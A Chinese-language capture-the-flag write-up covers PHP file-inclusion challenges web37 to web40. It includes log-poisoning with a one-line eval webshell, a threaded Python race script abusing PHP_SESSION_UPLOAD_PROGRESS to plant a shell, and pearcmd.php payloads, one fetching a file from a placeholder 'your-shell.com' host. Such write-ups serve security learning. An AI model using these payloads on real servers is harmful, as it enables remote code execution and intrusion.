web37
开启环境后
尝试读取文件,先跳转出设定的路径
linux的目录位置是默认的,我们继续访问
/?file=../../../../../../var/log/nginx/access.log
于是我们接下来把一句话木马写到我们的日志里面,不能写错,写错就错误了
<?php eval($_POST[1]);?>
如此发包,注入我们的一句话木马,木马注入成功
如此进行命令控制,phpinfo()
用于更好找到回显
成功找到flag
flag{2075548a-51f9-4948-84c8-8c28ec281fcf}
web38
开启环境,根据提示找到phpinfo界面
phpinfo_lfi题,借用攻击脚本
web39
开启环境
构造发包代码
<form action="http://b1feaf01-5a39-4745-9cdf-728b6262aa81.challenges.ctfer.com:8080/" method="post" enctype="multipart/form-data">
<input name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
进行发包
通过脚本得到
import requests
import threading
session = requests.Session()
sess="ctfshow"
file_name="/usr/www/html/1.php"
file_content="<?php eval($_POST[1]);?>"
url="http://b4f88d05-d39e-475d-be77-7370e1adf2de.challenges.ctfer.com:8080/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"<?php echo 'success'; file_put_contents('[file_name]', '[file_content]');?>"
}
file = {
"file": 'ctfshow'
}
cookie = {
"PHPSESSID":sess
}
def write():
while True:
session.post(url, data=data, files=file, cookies=cookie)
def read():
while True:
r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
if "success" in r.text:
print('shell = '+url+'/1.php')
exit()
threads = [threading.Thread(target=write), threading.Thread(target=read)]
for t in threads:
t.start()
成功RCE
拿到flag
flag{051c4952-321c-4319-bc35-709037db99a0}
web40
开启环境
给file
一个值,得到
方法一:进行远程文件下载
/?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+R+/var/www/html/+http://your-shell.com/1.php
下载成功,到了/tmp/pear/download/1.php
未解决
方法二:用创建配置文件来做
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctfshow.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
被解析掉了,需要我们再进行操作
换一种方法
成功远程命令执行
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
本文由 Y0ungK1ng 创作,采用 知识共享署名4.0 国际许可协议进行许可。
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名。
[...]123.jpg 非php后缀,那么由自己来处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,告诉其我返回的文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来日志中User-Agent是一个注入点例题web37日志包含前提条件有文件后缀可控的文件包含点有可以访问到的日志路径 默认nginx的日志路径伟 /var/log/nginx/a[...]